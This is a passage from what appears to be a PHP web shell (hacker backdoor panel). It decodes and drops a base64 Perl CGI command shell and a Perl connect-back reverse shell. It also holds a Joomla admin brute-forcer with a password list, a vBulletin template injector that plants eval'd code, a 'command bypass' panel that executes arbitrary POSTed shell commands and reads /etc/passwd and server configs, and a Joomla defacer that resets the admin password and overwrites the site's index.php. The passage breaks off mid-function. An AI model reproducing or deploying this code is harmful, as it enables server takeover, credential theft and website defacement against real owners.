sKCQkmUHJpbnRQYWdlRm9vdGVyOwoJfQp9CgoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgZG93bmxvYWRzIGEgZmlsZS4gSXQgZGlzcGxheXMgYSBtZXNzYWdlCiMgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluayB0aHJvdWdoIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLgojIFRoaXMgZnVuY3Rpb24gaXMgYWxzbyBjYWxsZWQgd2hlbiB0aGUgdXNlciBjbGlja3Mgb24gdGhhdCBsaW5rLiBJbiB0aGlzIGNhc2UsCiMgdGhlIGZpbGUgaXMgcmVhZCBhbmQgc2VudCB0byB0aGUgYnJvd3Nlci4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQmVnaW5Eb3dubG9hZAp7CgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwKCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUKCXsKCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7Cgl9CgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQoJewoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87CgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsKCX0KCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQoJewoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7Cgl9CgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQoJewoJCSZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlLiBJZiB0aGUKIyBmaWxlIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGEKIyBmaWxlLCBvdGhlcndpc2UgaXQgc3RhcnRzIHRoZSB1cGxvYWQgcHJvY2Vzcy4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgVXBsb2FkRmlsZQp7CgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgdXBsb2FkIGZvcm0gYWdhaW4KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpCgl7CgkJJlByaW50UGFnZUhlYWRlcigiZiIpOwoJCSZQcmludEZpbGVVcGxvYWRGb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7CgkJcmV0dXJuOwoJfQoJJlByaW50UGFnZUhlYWRlcigiYyIpOwoKCSMgc3RhcnQgdGhlIHVwbG9hZGluZyBwcm9jZXNzCglwcmludCAiPGNvZGU+VXBsb2FkaW5nICRUcmFuc2ZlckZpbGUgdG8gJEN1cnJlbnREaXIuLi48YnI+IjsKCgkjIGdldCB0aGUgZnVsbGx5IHF1YWxpZmllZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBjcmVhdGVkCgljaG9wKCRUYXJnZXROYW1lKSBpZiAoJFRhcmdldE5hbWUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsKCSRUcmFuc2ZlckZpbGUgPX4gbSEoW14vXlxcXSopJCE7CgkkVGFyZ2V0TmFtZSAuPSAkUGF0aFNlcC4kMTsKCgkkVGFyZ2V0RmlsZVNpemUgPSBsZW5ndGgoJGlueydmaWxlZGF0YSd9KTsKCSMgaWYgdGhlIGZpbGUgZXhpc3RzIGFuZCB3ZSBhcmUgbm90IHN1cHBvc2VkIHRvIG92ZXJ3cml0ZSBpdAoJaWYoLWUgJFRhcmdldE5hbWUgJiYgJE9wdGlvbnMgbmUgIm92ZXJ3cml0ZSIpCgl7CgkJcHJpbnQgIkZhaWxlZDogRGVzdGluYXRpb24gZmlsZSBhbHJlYWR5IGV4aXN0cy48YnI+IjsKCX0KCWVsc2UgIyBmaWxlIGlzIG5vdCBwcmVzZW50Cgl7CgkJaWYob3BlbihVUExPQURGSUxFLCAiPiRUYXJnZXROYW1lIikpCgkJewoJCQliaW5tb2RlKFVQTE9BREZJTEUpIGlmICRXaW5OVDsKCQkJcHJpbnQgVVBMT0FERklMRSAkaW57J2ZpbGVkYXRhJ307CgkJCWNsb3NlKFVQTE9BREZJTEUpOwoJCQlwcmludCAiVHJhbnNmZXJlZCAkVGFyZ2V0RmlsZVNpemUgQnl0ZXMuPGJyPiI7CgkJCXByaW50ICJGaWxlIFBhdGg6ICRUYXJnZXROYW1lPGJyPiI7CgkJfQoJCWVsc2UKCQl7CgkJCXByaW50ICJGYWlsZWQ6ICQhPGJyPiI7CgkJfQoJfQoJcHJpbnQgIjwvY29kZT4iOwoJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkmUHJpbnRQYWdlRm9vdGVyOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byBkb3dubG9hZCBhIGZpbGUuIElmIHRoZQojIGZpbGVuYW1lIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGEKIyBmaWxlLCBvdGhlcndpc2UgaXQgZGlzcGxheXMgYSBtZXNzYWdlIHRvIHRoZSB1c2VyIGFuZCBwcm92aWRlcyBhIGxpbmsKIyB0aHJvdWdoICB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgRG93bmxvYWRGaWxlCnsKCSMgaWYgbm8gZmlsZSBpcyBzcGVjaWZpZWQsIHByaW50IHRoZSBkb3dubG9hZCBmb3JtIGFnYWluCglpZigkVHJhbnNmZXJGaWxlIGVxICIiKQoJewoJCSZQcmludFBhZ2VIZWFkZXIoImYiKTsKCQkmUHJpbnRGaWxlRG93bmxvYWRGb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7CgkJcmV0dXJuOwoJfQoJCgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwKCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUKCXsKCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7Cgl9CgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQoJewoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87CgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsKCX0KCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQoJewoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7Cgl9CgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQoJewoJCSZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgTWFpbiBQcm9ncmFtIC0gRXhlY3V0aW9uIFN0YXJ0cyBIZXJlCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KJlJlYWRQYXJzZTsKJkdldENvb2tpZXM7CgokU2NyaXB0TG9jYXRpb24gPSAkRU5WeydTQ1JJUFRfTkFNRSd9OwokU2VydmVyTmFtZSA9ICRFTlZ7J1NFUlZFUl9OQU1FJ307CiRMb2dpblBhc3N3b3JkID0gJGlueydwJ307CiRSdW5Db21tYW5kID0gJGlueydjJ307CiRUcmFuc2ZlckZpbGUgPSAkaW57J2YnfTsKJE9wdGlvbnMgPSAkaW57J28nfTsKCiRBY3Rpb24gPSAkaW57J2EnfTsKJEFjdGlvbiA9ICJsb2dpbiIgaWYoJEFjdGlvbiBlcSAiIik7ICMgbm8gYWN0aW9uIHNwZWNpZmllZCwgdXNlIGRlZmF1bHQKCiMgZ2V0IHRoZSBkaXJlY3RvcnkgaW4gd2hpY2ggdGhlIGNvbW1hbmRzIHdpbGwgYmUgZXhlY3V0ZWQKJEN1cnJlbnREaXIgPSAkaW57J2QnfTsKY2hvcCgkQ3VycmVudERpciA9IGAkQ21kUHdkYCkgaWYoJEN1cnJlbnREaXIgZXEgIiIpOwoKJExvZ2dlZEluID0gJENvb2tpZXN7J1NBVkVEUFdEJ30gZXEgJFBhc3N3b3JkOwoKaWYoJEFjdGlvbiBlcSAibG9naW4iIHx8ICEkTG9nZ2VkSW4pICMgdXNlciBuZWVkcy9oYXMgdG8gbG9naW4KewoJJlBlcmZvcm1Mb2dpbjsKfQplbHNpZigkQWN0aW9uIGVxICJjb21tYW5kIikgIyB1c2VyIHdhbnRzIHRvIHJ1biBhIGNvbW1hbmQKewoJJkV4ZWN1dGVDb21tYW5kOwp9CmVsc2lmKCRBY3Rpb24gZXEgInVwbG9hZCIpICMgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlCnsKCSZVcGxvYWRGaWxlOwp9CmVsc2lmKCRBY3Rpb24gZXEgImRvd25sb2FkIikgIyB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZQp7CgkmRG93bmxvYWRGaWxlOwp9CmVsc2lmKCRBY3Rpb24gZXEgImxvZ291dCIpICMgdXNlciB3YW50cyB0byBsb2dvdXQKewoJJlBlcmZvcm1Mb2dvdXQ7Cn0K';
1788
1789$file = fopen("izo.cin" ,"w+");
1790$write = fwrite ($file ,base64_decode($cgishellizocin));
1791fclose($file);
1792 chmod("izo.cin",0755);
1793$netcatshell = 'IyEvdXNyL2Jpbi9wZXJsDQogICAgICB1c2UgU29ja2V0Ow0KICAgICAgcHJpbnQgIkRhdGEgQ2hh
1794MHMgQ29ubmVjdCBCYWNrIEJhY2tkb29yXG5cbiI7DQogICAgICBpZiAoISRBUkdWWzBdKSB7DQog
1795ICAgICAgIHByaW50ZiAiVXNhZ2U6ICQwIFtIb3N0XSA8UG9ydD5cbiI7DQogICAgICAgIGV4aXQo
1796MSk7DQogICAgICB9DQogICAgICBwcmludCAiWypdIER1bXBpbmcgQXJndW1lbnRzXG4iOw0KICAg
1797ICAgJGhvc3QgPSAkQVJHVlswXTsNCiAgICAgICRwb3J0ID0gODA7DQogICAgICBpZiAoJEFSR1Zb
1798MV0pIHsNCiAgICAgICAgJHBvcnQgPSAkQVJHVlsxXTsNCiAgICAgIH0NCiAgICAgIHByaW50ICJb
1799Kl0gQ29ubmVjdGluZy4uLlxuIjsNCiAgICAgICRwcm90byA9IGdldHByb3RvYnluYW1lKCd0Y3An
1800KSB8fCBkaWUoIlVua25vd24gUHJvdG9jb2xcbiIpOw0KICAgICAgc29ja2V0KFNFUlZFUiwgUEZf
1801SU5FVCwgU09DS19TVFJFQU0sICRwcm90bykgfHwgZGllICgiU29ja2V0IEVycm9yXG4iKTsNCiAg
1802ICAgIG15ICR0YXJnZXQgPSBpbmV0X2F0b24oJGhvc3QpOw0KICAgICAgaWYgKCFjb25uZWN0KFNF
1803UlZFUiwgcGFjayAiU25BNHg4IiwgMiwgJHBvcnQsICR0YXJnZXQpKSB7DQogICAgICAgIGRpZSgi
1804VW5hYmxlIHRvIENvbm5lY3RcbiIpOw0KICAgICAgfQ0KICAgICAgcHJpbnQgIlsqXSBTcGF3bmlu
1805ZyBTaGVsbFxuIjsNCiAgICAgIGlmICghZm9yayggKSkgew0KICAgICAgICBvcGVuKFNURElOLCI+
1806JlNFUlZFUiIpOw0KICAgICAgICBvcGVuKFNURE9VVCwiPiZTRVJWRVIiKTsNCiAgICAgICAgb3Bl
1807bihTVERFUlIsIj4mU0VSVkVSIik7DQogICAgICAgIGV4ZWMgeycvYmluL3NoJ30gJy1iYXNoJyAu
1808ICJcMCIgeCA0Ow0KICAgICAgICBleGl0KDApOw0KICAgICAgfQ0KICAgICAgcHJpbnQgIlsqXSBE
1809YXRhY2hlZFxuXG4iOw==';
1810
1811$file = fopen("dc.pl" ,"w+");
1812$write = fwrite ($file ,base64_decode($netcatshell));
1813fclose($file);
1814 chmod("dc.pl",0755);
1815 echo "<iframe src=cgitelnet1/izo.cin width=96% height=90% frameborder=0></iframe>
1816
1817
1818 </div>"; }
1819//////////////////////////////////////////////////////////////////////////////////////////////
1820
1821
1822elseif(isset($_GET['x']) && ($_GET['x'] == 'jbrute'))
1823{
1824?>
1825<form action="?y=<?php echo $pwd; ?>&x=jbrute" method="post">
1826
1827 <meta name="author" content="ENnoHNc" />
1828 <meta name="keywords" content="Joomla, Bruter, JoomlaBruter, JoomlaBruterForce, JoomlaBruterForceOnline" />
1829 <meta name="description" content="ENnoHNc #ISD HN-COmmunity" />
1830<center>
1831</br></br>
1832<center><b><font color="lime">+--=[ Joomla Bruter Force ]=--+</font></b><br /><br />
1833<form method="post" action="" enctype="multipart/form-data">
1834<table class="tabnet" width="38%" border="0"><center>
1835<th colspan="2">Joomla Brute Force</th>
1836<tr><td><p ><font class="d1">User :</font></th>
1837<input class="inputz" type='text' name="usr" value="admin" size="15"> </font></center><br /><br /></p>
1838</td></tr>
1839<tr><td><font class="">Sites list :</font>
1840</td><td><font class="" >Pass list :</font></td></tr>
1841<tr>
1842 <td>
1843<textarea name="sites" style="background:black;" cols="40" rows="13" ></textarea>
1844</td><td>
1845<textarea name="w0rds" style="background:black;" cols="40" rows="13" >
1846admin
1847123456
1848password
1849102030
1850123123
185112345
1852123456789
1853pass
1854test
1855admin123
1856demo
1857!@#$%^
1858</textarea>
1859</td></tr><center><tr><td>
1860<font >
1861<input class="inputzbut" type="submit" name="x" value="start" id="d4">
1862</font></td></tr><br>
1863tanks for procoder'z team albanian<br></center></table>
1864</form></center>
1865<?
1866@set_time_limit(0);
1867
1868if($_POST['x']){
1869
1870echo "<hr>";
1871
1872$sites = explode("\n",$_POST["sites"]); // Get Sites
1873$w0rds = explode("\n",$_POST["w0rds"]); // Get w0rdLiSt
1874
1875$Attack = new Joomla_brute_Force(); // Active Class
1876
1877
1878foreach($w0rds as $pwd){
1879
1880foreach($sites as $site){
1881
1882
1883$Attack->check_it(txt_cln($site),$_POST['usr'],txt_cln($pwd)); // Brute :D
1884flush();flush();
1885
1886}
1887
1888}
1889
1890}
1891
1892
1893# Class & Function'z
1894
1895function txt_cln($value){ return str_replace(array("\n","\r"),"",$value); }
1896
1897class Joomla_brute_Force{
1898
1899public function check_it($site,$user,$pass){ // print result
1900
1901if(eregi('com_config',$this->post($site,$user,$pass))){
1902
1903echo "<span class=\"x2\"><b># Success : $user:$pass -> <a href='$site/administrator/index.php'>$site/administrator/index.php</a></b></span><BR>";
1904$f = fopen("Result.txt","a+"); fwrite($f , "Success ~~ $user:$pass -> $site/administrator/index.php\n"); fclose($f);
1905flush();
1906}else{ echo "# Failed : $user:$pass -> $site<BR>"; flush();}
1907
1908}
1909
1910public function post($site,$user,$pass){ // Post -> user & pass
1911
1912$token = $this->extract_token($site);
1913
1914$curl=curl_init();
1915
1916curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
1917curl_setopt($curl,CURLOPT_URL,$site."/administrator/index.php");
1918@curl_setopt($curl,CURLOPT_COOKIEFILE,'cookie.txt');
1919@curl_setopt($curl,CURLOPT_COOKIEJAR,'cookie.txt');
1920curl_setopt($curl,CURLOPT_USERAGENT,'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317 Firefox/3.0.4');
1921@curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);
1922curl_setopt($curl,CURLOPT_POST,1);
1923curl_setopt($curl,CURLOPT_POSTFIELDS,'username='.$user.'&passwd='.$pass.'&lang=en-GB&option=com_login&task=login&'.$token.'=1');
1924curl_setopt($curl,CURLOPT_TIMEOUT,20);
1925
1926$exec=curl_exec($curl);
1927curl_close($curl);
1928return $exec;
1929
1930}
1931
1932public function extract_token($site){ // get token from source for -> function post
1933
1934$source = $this->get_source($site);
1935
1936preg_match_all("/type=\"hidden\" name=\"([0-9a-f]{32})\" value=\"1\"/si" ,$source,$token);
1937
1938return $token[1][0];
1939
1940}
1941
1942public function get_source($site){ // get source for -> function extract_token
1943
1944$curl=curl_init();
1945curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
1946curl_setopt($curl,CURLOPT_URL,$site."/administrator/index.php");
1947@curl_setopt($curl,CURLOPT_COOKIEFILE,'cookie.txt');
1948@curl_setopt($curl,CURLOPT_COOKIEJAR,'cookie.txt');
1949curl_setopt($curl,CURLOPT_USERAGENT,'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317 Firefox/3.0.4');
1950@curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);
1951curl_setopt($curl,CURLOPT_TIMEOUT,20);
1952
1953$exec=curl_exec($curl);
1954curl_close($curl);
1955return $exec;
1956
1957}
1958
1959}
1960}
1961/////////////////////////////////////////////////////////////////////////////////////////////
1962
1963elseif(isset($_GET['x']) && ($_GET['x'] == 'vb'))
1964 {
1965 ?>
1966 <form action="?y=<?php echo $pwd; ?>&x=vb" method="post">
1967 <br><br><br><div align="center">
1968 <H2><span style="font-weight: 400"><font face="Trebuchet MS" size="4">
1969 <b><font color="#00FF00">+--=[ VB Index Changer ]=--+</font></b>
1970 </div><br>
1971 <?
1972 if(empty($_POST['index'])){
1973 echo "<center><FORM method=\"POST\">";
1974 echo "<table class=\"tabnet\">
1975<th colspan=\"2\">Vb Index Changer</th>
1976<tr><td>host </td><td><input class=\"inputz\" type=\"text\" size=\"60\" name=\"localhost\" value=\"localhost\"></td></tr>
1977<tr><td>database </td><td><input class=\"inputz\" type=\"text\" size=\"60\" name=\"database\" value=\"forum_vb\"></td></tr>
1978<tr><td>username </td><td><input class=\"inputz\" type=\"text\" size=\"60\" name=\"username\" value=\"user_vb\"></td></tr>
1979<tr><td>password </td><td><input class=\"inputz\" type=\"text\" size=\"60\" name=\"password\" value=\"vb\"></td></tr>
1980</tr>
1981<th colspan=\"2\">Your Index Code</th></table><table class=\"tabnet\">
1982<TEXTAREA name=\"index\" rows=\"13\" style=\"background:black\" border=\"1\" cols=\"69\" name=\"code\">your index code</TEXTAREA><br>
1983<INPUT class=\"inputzbut\" type=\"submit\" value=\"setting\" name=\"send\">
1984</FORM></table></center>";
1985 }else{
1986 $localhost = $_POST['localhost'];
1987 $database = $_POST['database'];
1988 $username = $_POST['username'];
1989 $password = $_POST['password'];
1990 $index = $_POST['index'];
1991 @mysql_connect($localhost,$username,$password) or die(mysql_error());
1992 @mysql_select_db($database) or die(mysql_error());
1993 $index=str_replace("\'","'",$index);
1994 $set_index = "{\${eval(base64_decode(\'";
1995 $set_index .= base64_encode("echo \"$index\";");
1996 $set_index .= "\'))}}{\${exit()}}</textarea>";
1997 echo("UPDATE template SET template ='".$set_index."' ") ;
1998 $ok=@mysql_query("UPDATE template SET template ='".$set_index."'") or die(mysql_error());
1999 if($ok){
2000 echo "!! update finish !!<br><br>";
2001 }
2002 }
2003}
2004
2005//////////////////////////////////////////////////////////////////////////////////////////////
2006
2007elseif(isset($_GET['x']) && ($_GET['x'] == 'bypass'))
2008{
2009?>
2010<form action="?y=<?php echo $pwd; ?>&x=bypass" method="post">
2011
2012<?php
2013echo "<center/><br/><b><font color=#00ff00>-=[ Command Bypass Exploit ]=-</font></b><br>
2014";
2015print_r('
2016<pre>
2017<form method="POST" action="">
2018<b><font color=#00ff00><b><font color="#00ff00">Command :=) </font></font></b><input name="baba" type="text" class="inputz" size="34"><input type="submit" class="inputzbut" value="Go">
2019</form>
2020<form method="POST" action=""><strong><b><font color="#00ff00">Menu Bypass :=) </font></strong><select name="liz0" size="1" class="inputz">
2021<option value="cat /etc/passwd">/etc/passwd</option>
2022<option value="netstat -an | grep -i listen">netstat</option>
2023<option value="cat /var/cpanel/accounting.log">/var/cpanel/accounting.log</option>
2024<option value="cat /etc/syslog.conf">/etc/syslog.conf</option>
2025<option value="cat /etc/hosts">/etc/hosts</option>
2026<option value="cat /etc/named.conf">/etc/named.conf</option>
2027<option value="cat /etc/httpd/conf/httpd.conf">/etc/httpd/conf/httpd.conf</option>
2028</select> <input type="submit" class="inputzbut" value="Gö">
2029</form>
2030</pre>
2031');
2032ini_restore("safe_mode");
2033ini_restore("open_basedir");
2034$liz0=shell_exec($_POST[baba]);
2035$liz0zim=shell_exec($_POST[liz0]);
2036$uid=shell_exec('id');
2037$server=shell_exec('uname -a');
2038echo "<pre><h4>";
2039
2040echo $liz0;
2041echo $liz0zim;
2042echo "</h4></pre>";
2043 "</div>"; }
2044
2045 ///////////////////////////////////////////////////////////////////////////
2046
2047 elseif(isset($_GET['x']) && ($_GET['x'] == 'jodexer'))
2048{
2049?>
2050<form action="?y=<?php echo $pwd; ?>&x=jodexer" method="post">
2051
2052<?php
2053
2054if ($_POST['form_action'])
2055{
2056
2057$h="<? echo(stripslashes(base64_decode('".urlencode(base64_encode(str_replace("'","'",($_POST['code']))))."'))); exit; ?>";
2058
2059 $dbprefix=($_POST['db_prefix']);
2060 $username=($_POST['db_username']);
2061 $password=($_POST['db_password']);
2062 $dbname=($_POST['db_name']);
2063 $site_url=($_POST['site_url']);
2064
2065$co=randomt();
2066
2067
2068
2069 $link=mysql_connect("localhost",$username,$password) ;
2070
2071 mysql_select_db($dbname,$link) ;
2072
2073$tryChaningInfo = mysql_query("UPDATE ".$dbprefix."users SET username ='admin' , password = '2a9336f7666f9f474b7a8f67b48de527:DiWqRBR1thTQa2SvBsDqsUENrKOmZtAX'");
2074echo("<br>[+] Changing admin password to 123456789");
2075
2076 $req =mysql_query("SELECT * from `".$dbprefix."extensions` ");
2077
2078if ( $req )
2079{
2080#################################################################
2081###################### V1.6 ######################
2082#################################################################
2083
2084
2085$req =mysql_query("SELECT * from `".$dbprefix."template_styles` WHERE client_id='0' and home='1'");
2086 $data = mysql_fetch_array($req);
2087$template_name=$data["template"];
2088
2089$req =mysql_query("SELECT * from `".$dbprefix."extensions` WHERE name='".$template_name."'");
2090 $data = mysql_fetch_array($req);
2091$template_id=$data["extension_id"];
2092
2093$url2=$site_url."/index.php";
2094
2095$ch = curl_init();
2096curl_setopt($ch, CURLOPT_URL, $url2);
2097curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
2098curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
2099curl_setopt($ch, CURLOPT_HEADER, 1);
2100curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
2101 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
2102 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
2103
2104
2105$buffer = curl_exec($ch);
2106
2107$return=entre2v2($buffer ,'<input type="hidden" name="return" value="','"');
2108$hidden=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',4);
2109
2110///////////////////////////
2111$url2=$site_url."/index.php";
2112$ch = curl_init();
2113curl_setopt($ch, CURLOPT_URL, $url2);
2114curl_setopt($ch, CURLOPT_POST, 1);
2115curl_setopt($ch, CURLOPT_POSTFIELDS,"username=admin&passwd=123456789&option=com_login&task=login&return=".$return."&".$hidden."=1");
2116curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
2117curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
2118curl_setopt($ch, CURLOPT_HEADER, 0);
2119curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
2120curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
2121curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
2122$buffer = curl_exec($ch);
2123
2124$pos = strpos($buffer,"com_config");
2125if($pos === false) {
2126echo("<br>[-] Login Error");
2127exit;
2128}
2129else {
2130echo("<br>[~] Login Successful");
2131}
2132///////////////////////////
2133$url2=$site_url."/index.php?option=com_templates&task=source.edit&id=".base64_encode($template_id.":index.php");
2134$ch = curl_init();
2135curl_setopt($ch, CURLOPT_URL, $url2);
2136curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
2137curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
2138curl_setopt($ch, CURLOPT_HEADER, 0);
2139curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
2140curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
2141curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
2142$buffer = curl_exec($ch);
2143
2144$hidden2=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',2);
2145if($hidden2) {
2146echo("<br>[+] index.php file founded in Theme Editor");
2147}
2148else {
2149echo("<br>[-] index.php Not found in Theme Editor");
2150exit;
2151}
2152echo("<br>[*] Updating Index.php .....");
2153$url2=$site_url."/index.php?option=com_templates&layout=edit";
2154
2155$ch = curl_init();
2156curl_setopt($ch, CURLOPT_URL, $url2);
2157curl_setopt($ch, CURLOPT_POST, 1);
2158curl_setopt($ch, CURLOPT_POSTFIELDS,"jform[source]=".$h."&jform[filename]=index.php&jform[extension_id]=".$template_id."&".$hidden2."=1&task=source.save");
2159
2160curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
2161curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
2162curl_setopt($ch, CURLOPT_HEADER, 0);
2163curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
2164curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
2165curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
2166$buffer = curl_exec($ch);
2167
2168$pos = strpos($buffer,'<dd class="message message">');
2169if($pos === false) {
2170echo("<br>[-] Updating Index.php Error");
2171exit;
2172}
2173else {
2174echo("<br>[~] index.php successfully saved");
2175}
2176#################################################################
2177###################### V1.6 END ######################
2178#################################################################
2179
2180
2181}
2182else
2183{
2184
2185#################################################################
2186###################### V1.5 ######################
2187#################################################################
2188
2189$req =mysql_query("SELECT * from `".$dbprefix."templates_menu` WHERE client_id='0'");
2190 $data = mysql_fetch_array($req);
2191$template_name=$data["template"];
2192
2193$url2=$site_url."/index.php";
2194$ch = curl_init();
2195curl_setopt($ch, CURLOPT_URL, $url2);
2196curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
2197curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
2198curl_setopt($ch, CURLOPT_HEADER, 1);
2199curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
2200 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
2201 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
2202$buffer = curl_exec($ch);
2203
2204$hidden=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',3);
2205
2206$url2=$site_url."/index.php";
2207$ch = curl_init();
2208curl_setopt($ch, CURLOPT_URL, $url2);
2209curl_setopt($ch, CURLOPT_POST, 1);
2210curl_setopt($ch, CURLOPT_POSTFIELDS,"username=admin&passwd=123456789&option=com_login&task=login&".$hidden."=1");
2211curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
2212curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
2213curl_setopt($ch, CURLOPT_HEADER, 0);
2214curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
2215curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
2216curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
2217$buffer = curl_exec($ch);
2218
2219$pos = strpos($buffer,"com_config");
2220
2221if($pos === false) {
